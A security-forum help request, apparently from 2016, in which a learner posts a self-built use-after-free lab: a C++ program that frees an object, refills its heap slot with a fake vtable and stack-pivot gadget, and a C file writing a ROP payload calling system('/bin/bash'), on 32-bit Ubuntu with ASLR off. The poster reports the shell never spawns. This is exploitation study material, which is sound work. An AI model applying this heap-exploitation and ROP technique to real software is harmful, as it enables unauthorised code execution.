首页
社区
课程
招聘
[求助]use-after-free漏洞分析
发表于: 2016-12-2 21:54 3105

[求助]use-after-free漏洞分析

2016-12-2 21:54
3105
filewrite.c文件
#include <stdio.h>
#include <stdlib.h>

int main()
{
   FILE * fp = fopen("payload.txt","wb");
char buffer[40] = {
0x37,0x86,0x04,0x08,//stack pivot 
0x3b,0x86,0x04,0x08,//pop instruction 	pop    %ebp
0x01,0x01,0x01,0x01,
0x02,0x86,0x04,0x08,//pop(2 reg) instruction pop    %ebx
0x02,0x02,0x02,0x02,
0x03,0x03,0x03,0x03,
0x30,0xa4,0xd7,0xb7,//system
0x38,0x87,0x04,0x08,//real a.func()
0xb8,0xf5,0xff,0xbf};//"/bin/bash"
   if(fp!=NULL)
   {
       fwrite(buffer,1,40,fp);
       fclose(fp);
    }
return 0;
}

test.cpp文件
#include <stdio.h>
#include <stdlib.h>

using namespace std;

class A{
public:
    char buffer[196];
    virtual void func(){    printf("A.func\n");    }
};

void DumbFunc()
{
    asm ("xchg %%eax, %%esp;"
         "pop %%eax;"
         "pop %%eax;"
         "ret;"
        : : :"%esp"); /* clobbered register */
}

int main()
{
    A *a = new A;
    
    printf("%x:%x\n",(unsigned int *)a,*(unsigned int *)a);
    delete a;

    unsigned int *HeapPayload = (unsigned int *)malloc(200);
    printf("%x\n",HeapPayload);
    FILE *fp = fopen("payload.txt","rb");
    if(fp!=NULL)
    {
        *HeapPayload = (unsigned int)(HeapPayload + 1); //payload+4 vtable(stack pivot gadget address)
        fread(HeapPayload+1,1,196,fp);
        fclose(fp);
    }

    a->func();

    free(HeapPayload);
    return 0;
}

程序说明:文件清单
1.源代码
test.cpp 漏洞利用程序
filewrite.c 写payload.txt的程序

2.可执行文件
test
filewrite

3. 其他
payload.txt payload
objdump objdump命令执行结果
core文件

环境:ubuntu12.04 32位,内核版本3.11.0,关闭了随机化。

漏洞程序说明
模拟了一个use-after-free漏洞,a对象释放后内存被HeapPayload占用,修改了虚表地址,使其指向HeapPayload+4的位置(存放stack pivot地址),从而a->func执行了一条stack pivot。这里的stack pivot是直接构造在DumbFunc函数里的.。

payload作用
stack pivot后,执行了两个无意义的pop型gadget,然后执行system("/bin/bash")开了一个新的shell,再执行了原来的func函数,然后将"/bin/bash"地址当作了返回地址,引发段错误。(可见执行过程.png)

具体程序即执行过程请看附件,但是自己的执行过程一直实现不了system(“/bin/bash”),求大神解答一下

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
大神在哪里?
2016-12-3 16:58
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
第一次接触UAF漏洞利用,感谢分享
2017-2-13 10:34
0
游客
登录 | 注册 方可回帖
返回
//